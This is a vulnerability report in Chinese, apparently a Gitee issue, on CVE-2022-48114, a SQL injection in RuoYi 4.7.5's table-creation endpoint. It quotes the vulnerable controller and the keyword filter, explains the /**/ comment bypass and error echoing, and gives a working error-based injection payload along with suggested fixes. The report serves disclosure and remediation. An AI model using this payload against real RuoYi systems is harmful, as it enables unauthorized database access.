CVE-2022-48114: ruoyi-4.7.5-sqli-vuln-poc[BUG] · Issue #I65V2B · 若依/RuoYi - Gitee.com

com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由存在sql注入。

@RequiresRoles("admin")
@Log(title = "创建表", businessType = BusinessType.OTHER)
@PostMapping("/createTable")
@ResponseBody
public AjaxResult create(String sql)
{
    try
    {
        SqlUtil.filterKeyword(sql);
        List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql);
        List<String> tableNames = new ArrayList<>();
        for (SQLStatement sqlStatement : sqlStatements)
        {
            if (sqlStatement instanceof MySqlCreateTableStatement)
            {
                MySqlCreateTableStatement createTableStatement = (MySqlCreateTableStatement) sqlStatement;
                if (genTableService.createTable(createTableStatement.toString()))
                {
                    String tableName = createTableStatement.getTableName().replaceAll("`", "");
                    tableNames.add(tableName);
                }
            }
        }
        List<GenTable> tableList = genTableService.selectDbTableListByNames(tableNames.toArray(new String[tableNames.size()]));
        String operName = Convert.toStr(PermissionUtils.getPrincipalProperty("loginName"));
        genTableService.importGenTable(tableList, operName);
        return AjaxResult.success();
    }
    catch (Exception e)
    {
        logger.error(e.getMessage(), e);
        return AjaxResult.error("创建表结构异常[" + e.getMessage() + "]");
    }
}

这段代码可以用过/**/绕过关键字

public static String SQL_REGEX = "select |insert |delete |update |drop |count |exec |chr |mid |master |truncate |char |and |declare ";

由于这段代码会将错误信息回显

logger.error(e.getMessage(), e);
        return AjaxResult.error("创建表结构异常[" + e.getMessage() + "]");

poc

sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));

参考链接

https://github.com/luelueking/ruoyi-4.7.5-vuln-poc/edit/main/README.md

修复意见

• 把过滤关键词中的空格去掉
• 对异常处理中的返回信息进行修改，不直接返回e.getMessage()，对报错信息进行抽象以避免报错注入

报告人

@陈再